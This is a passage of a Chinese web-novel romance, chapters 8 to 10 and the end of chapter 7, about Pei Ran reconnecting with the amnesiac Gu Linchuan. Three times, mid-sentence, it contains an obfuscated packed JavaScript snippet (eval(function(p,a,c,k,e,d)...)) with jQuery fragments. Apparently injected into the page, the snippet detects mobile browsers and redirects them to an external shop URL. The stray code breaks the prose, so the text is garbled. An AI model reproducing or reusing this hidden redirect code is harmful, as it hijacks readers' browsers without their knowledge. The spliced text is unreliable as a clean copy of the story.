他与顾辰前后脚到,他停车花了点时间,进包间门时,三人都已在座位上。
顾辰像看见救星,赶紧迎上去,熟络地为他拉开椅子,让他坐在自己身侧。
裴然与宋妍宜也许久未见,把礼物亲手递给她,真诚夸赞:“妍宜今天真美。”
宋妍宜被夸的心花怒放,捂着嘴笑,“只是约你出来见见,怎么还带了礼物……”
礼物拆开的一瞬间,宋妍宜就说不出话了,余光拐了个弯,没敢正大光明地转头,小心地观察着顾临川的反应。
顾临川脸色很难看,但也没好看过,所以裴然也没察觉出氛围不对劲。
看来是没机会戴上了,宋妍宜在内心默默为这份礼物哀悼。
宋妍宜小心翼翼地捧起腕表,却没有带上,“我很喜欢,谢谢小然。”
裴然松了一口气,笑着说:“你们喜欢就好。”
顾临川没拿腕表,手里捏着那张贺卡,手上青筋暴起,冷哼一声:“我可没说我喜欢。”
裴然落座的动作一顿,有些茫然地看向顾临川,不明白他为什么突然闹脾气。
顾临川连一个眼神都懒得施舍,将贺卡轻飘飘地一扔,落到地上。
顾辰缩着脖子当鹌鹑,连呼吸都小心翼翼。
宋妍宜尴尬一笑,在心底怒骂顾临川,疯狂地寻找话题,打破这难堪的氛围。
没等宋妍宜找到合适的话题,顾临川先一步开了口,他紧盯着裴然的手,问他:“手怎么了?”
“啊?”裴然下意识把手往身后藏,“没事,不小心划到了。”
裴然没花太多时间处理伤口,伤口不算太深,但很长,溢出来的血液斑斑点点地透过纱布,显得很唬人。
宋妍宜也注意到了,大脑飞速运行,准确判断出顾临川隐藏含义,于是赶紧问:“去医院处理了吗?”
裴然不想耽误大家时间,晃了晃手心说:“已经处理好了,不用担心。”
“那可不行,还是去医院处理一下比较放心,吃饭我们可以下次再约。”宋妍宜关切地说,“方便开车吗?让临川送你去吧。”
裴然看了一眼顾临川,见他仍是一副皱着眉苦大仇深的模样,根本不敢答应:“不用了,我自己开车去。”
顾辰小声地说:“我送然哥去吧。”
宋妍宜微微一笑,“小辰刚刚不是喝酒了吗?不能酒驾哦。”
“我没喝啊……”顾辰茫然。
旋即被宋妍宜一把打断,“就这么定了,手伤要紧。”
顾临川站起来,长腿一迈,已经走到门口,没有要等裴然的意思。
裴然只好硬着头皮,小跑两步跟上。
两人身后,宋妍宜深藏功与名,神秘莫测地拍了拍顾辰地肩膀,感慨:“你哥结婚,到时候我真得做主桌。”
顾辰埋头喝茶,一头雾水,我哥结婚你不是新娘吗?顾辰满腹疑虑,但是一句也没问出口,只是乖乖坐着。
顾临川没开车来,于是两人坐上了裴然的奔驰,裴然很庆幸自己开车过来的,不然两人就只能喊司机过来,失去了独处的机会。
一路上,两人都沉默着,裴然几次想开口,余光瞥见顾临川压低的眉眼,就泄了力。
“年底了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057464|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴先生工作室很忙?”红绿灯时,顾临川单手搭在方向盘上,姿态懒散,开口问他。
“不算忙。”裴然想了想,认真地说,“工作室刚迁回国,事情比较琐碎,但算不上忙碌。”
话音刚落,顾临川气压更低了,裴然一脸茫然,如坐针毡,完全不知道自己哪句话说错了。
莫非是分手之后,顾临川太恨他,以至于就算失忆了,也见不得他过得好?
于是裴然又补充一句:“其实一点也不忙。”
“哦,那你还真是够讨厌的。”顾临川冷冷地吐出这句话。
裴然搞不懂,他三十六摄氏度的嘴里怎么会说出这么冰冷的话,寒气冻得他心脏都发疼,他也赌气,转过身不再跟他解释了。
很快到了医院楼下,顾临川冷着一张脸说自己在楼下等他,让裴然自己去。
裴然当然不敢奢望顾临川陪他,拉开车门独自进了医院。
裴然刚挂好号,便有护士找到他,把他带到指定的就诊室门口。
裴然同护士小姐道了谢,在内心感慨医院的办事效率和服务态度。
主治医生看起来很年轻,三十岁左右,剪了个寸头,看起来干脆利落。
见有人进来,他眼眸微掀,和电脑上的挂号信息做对比,问他:“裴然?”
裴然点点头,“是我。”
“把伤口给我看看。”医生朝他伸出手。
裴然把手递过去,医生查看了一番,确定伤势后便开始为他消毒包扎。
“伤的不深,不用缝针,但平时还是注意一下,没结痂之前不要太用力,伤口不沾水,尽量少吃点辛辣食物,行了,出去吧。”
裴然点了点头,应下,随即打算离开,又被医生一把叫住。
“等一下,把手给我,我拍一张照片。”
裴然不理解,但乖乖照做,等他拍完照片就快步离开了,他不想让顾临川等太久。
医生把照片发给顾临川,并配文:圆满完成任务。
顾临川的消息很快发来:你就简单的给他包扎一下就算了?
医生直喊冤枉,叫苦不迭:不然呢?再说了,他那手伤的也不深啊,至于你急急忙忙把我喊过来吗?
顾临川倒是也没看见伤口,听到伤得不深,放下心来,回他:你懂什么,设计师的手很重要的。
发完这条信息,车窗便被敲响,他循声望去,裴然弯着腰冲他温柔地笑,嘴里一张一合,不知道在说些什么。
他打开车锁,裴然闪身就进来,浑身带着一股寒气,搓了搓手,自顾自地说:“好冷啊,今年是最冷的一年。”
闻言,顾临川一边开车,一边讥讽他:“裴先生几年没回南城,这话说的也不脸红。”
裴然被他刺习惯了,对这种难听的话有了抵抗力,晃了晃手机:“我也会看南城的天气预报呀,你看,今日头条:南城遭遇寒潮袭击,或将迎来史上最低气温!”
“我还以为你不会使用智能手机。”顾临川意味不明地阴阳怪气,搞得裴然一头雾水。
“我已经适应了国内的手机使用方法。”裴然向他展示,自己给合作方发去的消息和文件,试图证明自己。
顾临川睨了一眼,问他:“需要我夸你吗?”
裴然收回手机,眼含希冀:“可以吗?”
顾临川非常礼貌温柔地对他一笑,随即笑容一敛,冰冷地吐出三个字:“不可以。”
裴然小声地嘀咕了一句小气,对他说:“哦。”
8. 第 8 章
车内又陷入寂静,裴然歪头轻轻靠在车窗上,透过玻璃窗反光映出顾临川的侧脸,以及他抓着方向盘的骨节分明的手指,裴然发愣盯着。
裴然摸了摸鼻尖,努力抑制住流泪的冲动。
说不难过是假的,年少时期的顾临川比现在少了几分阴郁,多了几分阳光。
似乎永远光彩照人,像一个温暖的小太阳,充满活力。
可裴然一想到这份阴郁,可能是自己的离开导致的,就又感到深深的绝望和无力。
“你哭了?”顾临川不知何时,在玻璃窗中与他对视上,看见他脸颊泛起的水光。
裴然惊了一瞬,下意识摸上自己的脸颊,感受到指尖的湿润,顿感羞耻。
他深深吐出一口气,急忙抹去脸上的泪,压制住哭腔:“没有哭,你看错了。”
顾临川沉着脸,微微偏头:“我看起来很好骗吗?”
裴然摆了摆手,慌乱解释道:“不是的,我只是不知道怎么跟你讲。”
顾临川眯着眼,半晌压低了嗓音,骂他:“撒谎成性的骗子。”
裴然声音抖得不像样:“对不起……”
“告诉我,为什么哭?”顾临川把车临时停在路边,卸下安全带,转过身面对着他,“不要再骗我。”
裴然根本不知道怎么形容那一刻的失落,眼里含着泪光,像一只无措的小鹿,“想起了一些难过的事情……”
顾临川死死盯着他,像是在确认他有没有说谎,半晌收回视线,状似满不在乎地试探:“和我有关吗?”
裴然不想再撒谎,诚实地点了点头,又去看顾临川的反应,生怕他又露出不虞的神色,赶紧解释:“也不太有关,只是一点点相关。”
“我又没说什么,你这么紧张干吗?”许是裴然欲盖弥彰的动作太明显,顾临川罕见的从鼻翼间溢出一声轻哼,“行了,眼泪擦擦,搞得像我欺负你一样。”
顾临川欺负完,心情愉悦地重新系上安全带,放下手刹起步,又想起这几天为什么和他置气。
说好的会尽快把钱夹给他送来,他每天上班前都孔雀开屏一般特意打扮,每一次秘书上来敲门,他都会升起一股隐秘的期待。
可一连等了两天也没看见人影,要不是宋妍宜接口聚餐将他约出来,他简直不知道猴年马月才能看见他。
总爱撒谎骗他,没心没肺的小骗子,顾临川又在心里偷偷骂他。
到了裴然公寓楼下,顾临川把车停下,看了看他的手,“自己能行?我先走了。”话音刚落就按下卡扣,推门而去。
“等一下。”裴然还没反应过来,身侧早已没人,赶紧下车拦住他,“上去坐坐吗?我顺便把钱夹还给你。”
顾临川打电话的手一顿,回过头,裴然红着一张脸,寒风吹散他额前的碎发,嘴唇水润润的,无意识的张着。
他在邀请我大晚上去他家里,他什么意思?
理智告诉他,他应该拒绝,把人安安全全送到已经是极限,没有理由再去他家的。
顾临川顶了顶腮,去你妹的理智。
“行啊。”
裴然眉眼间染上笑意,眼睛都弯了起来,露出一个放松的笑,上前两步和他并肩,示意他跟着自己。
到家后,裴然先安顿好顾临川,随后自己进了卧室,去拿钱夹。
裴然把钱夹放在床头的夜灯旁,每晚入睡前,都能看见他。
他把钱夹握在手心,无意识的摩挲着,不想出去的太快,能拖一会儿是一会儿。
才过了两天而已,他本想着,才见过面,不用太着急,至少还有一个还东西的理由可以正大光明的约他再见一面。
所以一直不去找顾临川,他想着,等思念难以控制的时候,再去找他。
哎,裴然轻叹一声,拿上钱夹出了房间。
顾临川坐在裴然公寓的沙发上,面前摆着西柚汁,裴然在卧室的时候,他拿起来抿了一口,香甜的蜂蜜味混合着酸甜的西柚,是他最喜欢的味道。
裴然一出门就看见顾临川拿着杯子小口小口的喝着,心底的那片柔软瞬间被击中,像回到了十八岁那年。
他走上前,把钱夹放在茶几上,“味道还喜欢吗?我特意加的桂花花蜜,是你以前喜欢喝的味道。”
“口味都是会变的。”顾临川放下水杯,淡淡地回他。
裴然笑容一滞,以为他不喜欢,感到很失落,但还是问他:“那你现在喜欢什么味道?”
顾临川盯着他,薄唇轻启:“你猜。”
裴然怎么可能猜得到,只当是顾临川不想告诉自己,想着既然顾临川不爱喝,他就把水杯端走,换成不会出错的白开水。
裴然手纲碰到水杯,顾临川就警惕地出声拦住他:“干什么?”
“我给你换一杯。”裴然被他挡的一愣,手指尴尬地停在半空,同时抬眼看向他。
顾临川拿起来喝了一口,放下时放的离裴然更远了些:“不用麻烦了,我也没说不好喝。”
口是心非的样子简直不要太明显,裴然一眼看穿,失落的情绪渐渐退去。
顾临川在这里一直呆到西柚水喝完,随后起身,拿起自己的钱夹,一边翻看一边往门口走。
裴然不知道下次见面会是多久以后,思来想去,还是决定拿起桌子上的苹果追上去。
追上去之后,裴然又不知道说什么了,看着手里略显简单的苹果,心一横,塞到他怀里,“提前祝你圣诞快乐。”
顾临川差点撞到他的手,往后撤了一步,才伸手把苹果接下,“礼物我收下了,祝福我先不接受。”
裴然瞪大双眼,刚想说哪有这样的,收了礼物不要人家的祝福。
“我不喜欢提前过,平安日那天,你要重新和我讲一次。”顾临川垂下眼,和他对视,“可以做到吗?”
裴然胡乱点头,“可以的。”
顾临川满意地点了点头,决定看在这个苹果的面子上,不跟裴然计较这几天没来找自己的事情。
“你有打开看过吗?”顾临川晃了晃钱夹,想起里面的合照,若有所思地问他。
裴然亦步亦趋的跟在他身后,顾临川突然停下,他差点又撞到他的背,裴然揉了揉鼻尖,“没有,我一直是放在柜子上的。”
裴然有些担忧:“怎么了?里面的东西丢了吗?”
“没有。”顾临川站在门口,随意地挥了挥手算作告别,“不过你真应该看一下的。”
裴然心里顿时像被猫抓似的,偏偏罪魁祸首已经远离,只留下一个背影,裴然赶紧跑到阳台,等了一会儿,看见顾临川走出来的身影。
裴然撑着脸,趴在阳台上,看着顾临川越走越远,连眼睛都舍不得眨一下,一直到背影彻底消失在黑夜里,才揉了揉干涩的眼,转身进屋。
一连几天的冬雪天过后,南城气温骤降,不过也在平安日这天迎来了难得的几日晴。
Leo也在大晴天这日,落地南城,迎面与寒冷的北风打了个照面,leo很给面子的拿出围巾和帽子带上,饶是如此也冷得瑟瑟发抖。
裴然来接
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057465|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他时,看着裹得严严实实的leo,差点没认出来,倒是leo远远便瞧见裴然,扯着嗓子大声喊。
Leo见他风度翩翩,只穿着一件大衣便来了,感到万分震惊:“然,你们东方人都会仙术吗?你怎么一点也不冷?”
裴然故作神秘,对他比了个嘘的手势,示意他小声一点,“当然,你想学这个仙术吗?我可以传授给你。”
Leo配合地东张西望,确认没人注意他们,疯狂地点头,一副求知若渴的模样。
裴然装模作样地挡了挡,还让leo凑近一些,捣鼓半天,最后从兜里掏出一块暖宝宝。
Leo心脏都快要跳出来,看清是什么的时候一瞬间沉静下来:“……”
裴然恶作剧成功,笑着揽住他的肩,带着他往车那边走去,还在忽悠他:“这可是我的独门秘籍,不要外传哦。”
暖宝宝虽不是东方仙术,但是抵御寒冷很有效,leo拆开一块,贴在衣服上,很快便暖和起来。
Leo见裴然手受伤,坚决不让裴然开车,裴然被他一把推到副驾驶,很无奈:“只是小伤,已经好了。”
“小伤也不行。”说完,leo已经坐上驾驶座,面露疑色,“欸?然,你把车借给别人了吗?”
裴然正在系安全带,闻言抬头看他,“怎么了?”
Leo伸手调整座位,把座椅往前调了一些,“这个座位这么大,肯定不是你开的。”
Leo与裴然身高身形几乎一致,若是穿上一样的衣服和一样的发型,看背影几乎很难分辨出两人。
裴然心虚,摸了摸鼻尖,含糊道:“好像是吧,我也记不清了,很久没开车了。”
这座位是当时顾临川开车的时候调的,这几天他都住在工作室,没时间开车,方才开过来他也没发觉不对劲。
不过leo也没多问,调整好后就开着车走了。
Leo回国待一周的时间,一周都住在裴然家里,裴然一早就为他收拾好了房间,生活用品也为他准备着。
Leo推着行李箱一进门,便看见客厅中间摆着一棵漂亮的圣诞树,他把行李一扔,一个箭步冲上前,围着圣诞树左看右看,发出一声又一声惊呼。
“然,我太爱你了!这棵圣诞树我超喜欢!”leo冲到裴然身边,激动地朝他说,“晚上开灯之后肯定会更美!”
裴然走到窗边,把窗帘拉上,随即在leo期待的目光中,为他点亮了灯光,leo兴奋地抱起裴然转圈,简直都说不出话来。
等裴然进去替他把行李放好后,leo还围坐在圣诞树旁,小心翼翼地触碰着树上的装饰。
见裴然出来,他颇为遗憾地说:“只可惜不能带回英国。”
裴然向他承诺,明年圣诞节在英国也为他做一个。
Leo咋咋呼呼地搂住裴然的脖子:“然,你对我最好了!”
说着,leo站在圣诞树旁边,露出灿烂的笑容,伸出两个手指头比耶,让裴然用拍立得为他拍一张。
照片洗出来,leo爱不释手,恨不得拿着给全天下的人去炫耀。
看着leo捧着手机傻乎乎炫耀的模样,裴然心念一动,想起顾临川在自己手机里留下的电话号码,他一直没机会拨通。
顾临川说要找他就联系这个号码,会是他自己的私人号码吗?还是助理的?
他可以在闲暇时拨通这通电话吗?会不会打扰到他?
裴然脑海里思绪翻涌,捏着手机半晌,号码输了又删,终于还是没能拨通。
9. 第 9 章
平安夜的黄昏,工作室其他成员都已提前下班回家,享受假期,只留下庭婷几人,和被迫来加班的Leo。
裴然把一叠草图钉在画板上,指尖落在最核心的女士长裙上,声音平静地跟大家介绍。
画板上的草图,线条利落又带着东方的柔和,核心元素是苏绣枝缠莲纹样,碎片化的点缀在长裙的领口与裙摆处。
裴然化的细致,仔细看还能看清针线的纹路,leo率先给出自己的看法:“传统工艺打开国内市场,我觉得非常合适。”
庭婷几人也无不赞同,只是有些忧虑苏绣的事情。
庭婷大步走上前,指了指裙摆处的莲花:“高密度的苏绣会让裙摆变得很沉重,失去了本身的灵动感,若是更换更加轻盈的布料,有会显得有些突兀。”
此话一出,众人都陷入沉思,这的确是个问题。
章谈亦沉吟片刻,想到办法:“调整一下针脚呢?我记得,苏绣里面有平针绣的方法,可以在一定程度上保留纹理,也能减轻负重。”
“可以考虑。”裴然点头,在草图上又添几笔,“年前我去一趟苏城,庭婷为我联系一下当地的绣娘,确认一下方法可行性。”
Rechal对东方传统技艺不太懂,听的有些茫然,见大家已经决定,便说:“白坯样品我会尽快出,优先制作女士长裙。”
会议结束,外面已经夜幕高挂,裴然见几人又回到工位上打开电脑,于心不忍:“平安夜大家就不加班了吧,回去好好休息。”
庭婷和rechal当机立断约好一起去逛街,章谈亦嘻嘻哈哈地加入,leo见状也想跟着一起去。
“然哥,一起去呗?”庭婷见裴然一个人背影孤寂,临走前出声邀请。
裴然摆了摆手,笑着让他们去,“玩的开心,明天可以找我报销。”
四人热热闹闹地走了,工作室里陷入安静,裴然定了定神,继续埋头工作。
裴然心里藏着事,工作也不专心,没几下就停笔,拿出手机,依旧看着那串数字发愣。
眼见着只剩最后半小时,平安夜就要过去,裴然心一横,闭上眼睛点了点拨通键,旋即屏息凝神,内心腾起一股隐秘的期待。
嘟嘟——
电话只响了一声便被接通,熟悉的声音从电话里传来,落到裴然耳朵里有些失真。
“哪位?”顾临川似乎心情很愉悦,两个字在唇边溢出都仿佛带着勾人的笑。
裴然把手机放在桌子上,双手搅在一起,轻声回他:“顾先生,我是裴然。”
“哦,裴然。”顾临川重复了一次他的名字,但又恶劣的不接下文。
裴然怕他又记不清自己是谁,补充道:“我们几天前,见过的,你还记得吗?”
顾临川又说:“嗯,然后呢?打电话给我做什么?”
“我有话要对你说。”裴然鼓起勇气,讲完后羞得脸颊泛红,“平安夜快乐,顾先生,愿你不止今夜,往后岁岁年年,都平安顺遂。”
顾临川饶是做好了心理准备,但还是心脏猛地缩紧,拿手机的手明显一顿,抬头看着工作室亮起的灯光,明知故问:“在哪里?”
裴然如实回答:“工作室。”
顾临川嗓音沙哑,对他说:“方便下来吗?”
裴然心念一动,仿佛心有灵犀一般,朝窗口望了望,小跑着下楼:“我马上下来。”
挂断电话,在这里陪顾临川等了一晚上,被寒风吹到冻僵的工具人合作商搓搓手,嘿嘿一笑,“顾总,您看这个时间也不早了,我那个方案?”
顾临川大发慈悲摆摆手,示意他可以走了,“我会考虑的。”
合作商大喜过望,冲上前想和他握手,但顾临川刚好抬手喝了一口咖啡,手悬在半空他也不觉得尴尬,迅速收回了来,朝顾临川告别。
合作商前脚刚走,裴然后脚就到了,看见桌子上摆了两杯咖啡,以为他还约了别人,于是站着不敢坐。
顾临川抬头看了他一眼,朝他解释:“刚刚约了人谈工作,现在已经谈完了。”
“把我叫下来,是有什么事情吗?”裴然放心下来,在他对面坐下。
“只是刚好在这里谈事情,碰巧你给我打电话,就顺手把你喊下来,一起喝一杯而已,你不要想太多。”顾临川像是不懂他为何感到疑问,“再说了,我是你恩人,喊你作陪,不需要理由。”
裴然听他前面解释那么多,心道他哪敢多想啊,总不可能顾临川是故意在这里等他吧,他还没有那么自作多情。
裴然疑惑地重复:“恩人?”
顾临川理所当然地轻哼一声,神情矜贵又高傲:“你做了对不起我的事情,但我忘了,不与你计较,可不就是你的恩人?”
裴然被他这说法逗乐,随即笑容收敛些,压低声线小声问他:“你忘记了所以不计较,那你要是以后想起来了,可不可以也不和我计较?”
“你不要撒娇。”顾临川皱着眉,眼眸微眯,像一匹蛰伏在黑夜里的狼,“所以你到底做了什么对不起我的事情?”
“我没有。”裴然一愣,朝他解释,随后字斟句酌:“我离开的时候,没有告诉你,甚至还骗你。”
顾临川呼吸粗重,手指在看不见的地方捏紧,问他:“那你还会这样做吗?”
“不会了,我发誓。”裴然立刻举起三根手指,比在太阳穴附近,“如有违反,就天打……”
顾临川打断他:“够了,不用说完。”
裴然乖乖闭嘴,没把那句天打雷劈说完。
顾临川站起来,见裴然脖子上空荡荡的,便把旁边的围巾递给裴然,“看在你是第一个和我讲平安夜快乐的人的份上,带你去个地方。”
裴然很惊喜,带着几分不可置信:“真的吗,枚烨和戚贺昀没有跟你讲吗?”
“他们都是中国人,不爱过洋节。”顾临川慢慢悠悠起身往前走了几步,见裴然愣在原地,又停下来等他,“跟上。”
裴然如梦方醒,把围巾整齐地挂在臂弯,抬脚跟上,这一次撞上了顾临川的胸膛。
裴然三番几次撞到他,这次更是投怀送抱,裴然差点都自我怀疑,后退一步赶紧解释:“不是的,我不是故意的。”
低沉无奈的嗓音在头顶响起,顾临川把围巾往他脖子上套,“你要扮演雪人吗?”
裴然半张脸都被围在围巾里,露出亮晶晶的眼,笑起来湿漉漉的,就这么直勾勾盯着。
顾临川伸手挡住他的眼睛,听到他不解地嗯了一声,也不解释,手一松就径直往前走,身后的裴然小跑跟上。
夜色如墨,兰博基尼像一头蓄势待发的黑色猛兽,在盘山公路上呼啸而过,城市的霓虹早已被甩在山脚下,云开雾散,头顶的星空也越来越清晰。
盘山公路的尽头是一片开阔的观景台,顺着观景台绕围栏,有一处缺口,缺口外没有石阶,只有被人踩出来的一条小草径,顺着下坡,就是一片没被开发过的天然草地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057466|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
草地上挂着夜露,混合着泥土与草地的清冽气息,草地边缘落着几块巨大的岩石,被山风磨得圆润。
顾临川径直走到最大的那块岩石旁边,坐了下去,裴然学着他的动作,也跟着坐了下来。
观景台工作人员送来小火炉,放在两人身前,热意源源不断地传来,抵消了料峭山风的寒意。
头顶的星空毫无遮拦地铺开,银河像一条发光的丝带,横亘在墨色的天幕中,小火炉燃烧发出噼里啪啦的声音,城市的繁华一览无余。
“赛车,你是什么时候学会的?”裴然盘腿规规矩矩坐着,偏头轻声问他。
顾临川抬手枕在头下,随即躺在岩石上,思索了几秒:“上大学的时候吧。”
“为什么突然想去开赛车了?”裴然眼底映着跳跃的火光,看向他,“今年这场车祸之前,还受过伤吗?”
顾临川声音混在夜风里,显得很轻:“因为刺激,在那种风驰电掣中,能清晰地感觉到自己活着——又随时可能会死掉。”
事实上,裴然离开后很长一段时间,他几乎丧失了对外界的感知,像行尸走肉,平淡普通的感情已经无法再触动他,他需要极致又疯狂的情绪,来压制心底的痛苦。
不止赛车,这些年他尝试了很多极限运动,大大小小的事故把安保公司弄得殚精竭虑。
裴然低着头,不说话了,眼角似乎湿润起来。
“怎么又哭了?”
“没有哭。”
顾临川感到苦恼,怎么又是一副被欺负了的模样,抽出一只手挑起他的下巴,彻底看清他眼底翻涌的情绪后,说不出话了。
裴然一出声,带着几分哽咽,“给我讲讲,可以吗?”
顾临川一时不知道从何讲起:“你想听什么?”
裴然思考了几秒,看着他小臂上露出来的一条狰狞的疤痕,“从它开始,好吗?”
顾临川低头,才发现袖口不知道何时微微上滑,露出了一点伤痕。
这个伤口是他去南美洲攀岩时,在岩壁上划伤的,当时精神亢奋,肾上腺素飙升,几乎都没察觉到。
伤口不算很深,但是治疗不及时,加上他本人并不注重,便留下了一条疤痕。
说着,他想起裴然手上的伤,让他给自己看看,裴然听话地伸出手,手上的伤口已经开始愈合,新生的嫩肉渐渐长出来,应该不会留疤。
顾临川见他听的认真,便坐起来,又讲起自己在爬雪山的经历,裴然感到很好奇,坐的端端正正认真倾听。
过了一会儿,裴然渐渐安静下来,只剩下浅浅的呼吸声,头一歪,靠在顾临川的肩上。
顾临川呼吸一滞,顿时不说话了,调整了一下姿势,让他到在自己怀里,眼神赤裸毫不掩饰,肆意地盯着裴然。
裴然睡着了显得很听话,像一只毛茸茸的猫咪,对着主人信任地袒露肚皮,捧在手里又软又热。
顾临川把他打横抱起来时,脑海里只剩一个念头,怎么这么轻,他在英国都不吃饭的吗?
酒吧初见时,他就觉得眼前人瘦了很多,棱角分明,脸颊上的肉也没了,锁骨更深了,显出几分脆弱感。
他把裴然轻放在副驾驶座,俯身为他调节座位高度,裴然恰好在此时翻身,他险些被撞倒,急忙伸出一只手撑在座椅上。
裴然此刻的呼吸全打在他脸上,胸膛随着呼吸起伏,顾临川轻轻拨开他额前的碎发,落下轻柔一吻。
“晚安。”
10. 第 10 章
今年冬天天气无常,圣诞节过去,气温便又回升,接连几日都是晴天。过了几天临近元旦,气温又骤然下降。
元旦以前,Leo便要离开南城,返回英国,于是这几日Leo很黏裴然,他简直舍不得离开。
Leo像一只委屈的树懒,裴然在厨房炖汤,他就抱着抱枕,可怜兮兮地站在裴然身后,“然,跨年夜我们都有时差了。”
裴然将炖好地梨汤盛出来,捧在手里往餐厅走去,刻意避开离别的话题,招呼他,“来尝尝。”
Leo注意力果然被吸引,像只小狗一样,凑上前去嗅了嗅,雪梨的清香扑鼻,“哇,那我就不客气啦。”
一碗梨汤被leo咕噜咕噜几下喝光,像喝粥一样。
门铃声敲响时,leo端着碗往厨房走,放下碗后探头:“我去开门吧,然,你专心喝。”
裴然于是又坐下,拿勺子把雪梨戳碎,小口小口放进嘴里。
“好的,麻烦了。”Leo礼貌地道谢,把门关上。
Leo手里提着干洗店的袋子,放在沙发上,“然,衣服到了,你什么时候给顾送过去?”
那天夜里,裴然在车里睡去,顾临川用自己的衣服给他裹起来,一路送到了家门口。
Leo打开门时很震惊,还以为裴然出了什么事情,确认只是睡着之后才松了一口气。
他自然地伸出双手,打算从他手中接过裴然,谁料,顾临川居高临下地望着他,公主抱稳稳托着裴然,下巴微抬,示意他让开。
Leo下意识让出一条路,顾临川熟门熟路地走向裴然的房间,半路怕裴然掉下来,还颠了颠。
裴然皱着眉,呓语了几声,听的不清楚。
Leo跟上去,跟着顾临川把人放在床上,俯身轻柔地脱下外套,又半跪着为他脱鞋脱袜子。
一切做完,顾临川言简意赅朝他伸手:“有湿毛巾吗?”
Leo目瞪口呆,方才看得入神,此刻如梦初醒,赶紧点头,进了浴室给他拿湿毛巾。
顾临川擦了擦裴然的脸,又给他擦了擦手指,仔仔细细给他掖好被角,留了一盏小夜灯,转而退出房间。
Leo去厨房为他倒了一杯温水,回想起刚刚那一幕,感觉世界观正在重塑。
顾临川没有多呆,和他点头致意后便转身离去。
Leo看着他的背影,宽肩窄腰配上黑色毛衣,在这寒冷的冬夜,总感觉少了点什么。
等Leo反应过来,打算追上去提醒他,先生你的大衣还在裴然房里,没有带走。
但顾临川早已没了踪迹。
第二天裴然醒过来时,一脸茫然地问他,自己是怎么回来的,Leo一脸的八卦:“是一个超级帅的帅哥把你公主抱回来的!”
听到公主抱,裴然顿时变了脸色,腾起一股热意。
Leo还在坚持不懈的提问:“然,是你朋友吗?你们怎么认识的啊?”
裴然红着一张脸钻进厨房,只说是之前的好朋友。
之后,裴然给他打去电话,表示感谢,并说自己会派人把衣服给他送回。
顾临川对他说,感谢要用心,下次见面时亲手带来吧。
此后几天,裴然想起他说的下次见面,内心都会隐隐地期待。
此时,裴然视线看向沙发上的衣服,捏着手机的指尖仿佛触电般酥麻。
他拨通了电话,“顾先生,是我,裴然。”
顾临川那边传来一声熟悉的卧槽,随后一阵窸窸窣窣又恢复安静,“嗯,什么事?”
“你现在方便吗?我把上次你落在我家的衣服送过来。”裴然听出他身边有人,以为自己打扰到他了,“不方便的话,我下次也是可以的。”
顾临川摆手示意面前一脸难以置信的人冷静,压了压嘴角,“没说不方便,你过来吧。”
挂了电话,戚贺昀围着顾临川一阵卧槽,又想起那件落在裴然家里的衣服,脑海里不可抑制的想到一些画面。
顾临川瞥了他一眼,提醒:“只是落了一件衣服,别想太多。”
戚贺昀表现得很激动,立刻拿出手机跟枚烨分享。
“咕咕,我就知道,你和裴裴肯定能在一起。”戚贺昀手指打字飞快,一边不忘和顾临川讲话,“这就叫做,白月光回国,顾总强势求爱,最终抱得美人归!”
顾临川听他讲完,突然问起:“枚烨最近忙什么呢?”
戚贺昀想了想,“最近他一直在跟进新能源项目,经常飞国外,我都快两天没见到他了。”
戚贺昀比较黏人,两天没见,对他俩而言,已经很久了。
这几日枚烨出差,便日日跑顾临川这边,吃喝玩乐一样没少,但仍嫌顾临川无趣。
顾临川了然,“什么时候得了闲,让枚烨带你去医院看看。”
戚贺昀不解:“看什么?”
顾临川指了指脑袋,无声挑眉。
戚贺昀气得张牙舞爪,顾临川没理他,拿起外套准备下楼。
戚贺昀从小沙发上弹起来,问他:“你干嘛去?”
顾临川脚下步履没停,言简意赅,“买东西。”
戚贺昀眼珠子一转,赶紧也抓着衣服跟上去,“我也去我也去。”
楼下新开了一家咖啡馆,顾临川路过茶水间时,听见有人说起,他们家的抹茶提拉米苏味道不错。
顾临川单独打包了一份,又为全体员工定了下午茶,让他们做好后送来。
戚贺昀笑着打趣:“盛信员工真是好福气,老板亲自买下午茶。”
顾临川不置可否,衣摆飘飞,转身又离开。
上楼上,戚贺昀闪身进了游戏厅打游戏,挤眉弄眼的表示不打扰他们二人世界。
顾临川也觉得理因如此,并不拒绝,难得贴心地叮嘱他,有需要可以叫助理。
裴然挂了电话后,简单收拾了一下,便在Leo八卦的目光中离开。
外面阴云密布,又有落雨的征兆,裴然又折返回去拿伞。
裴然泊好车,礼貌地询问前台小姐:“你好,我找顾先生。”
前台小姐姐耐心询问:“请问是顾总还是顾经理?”
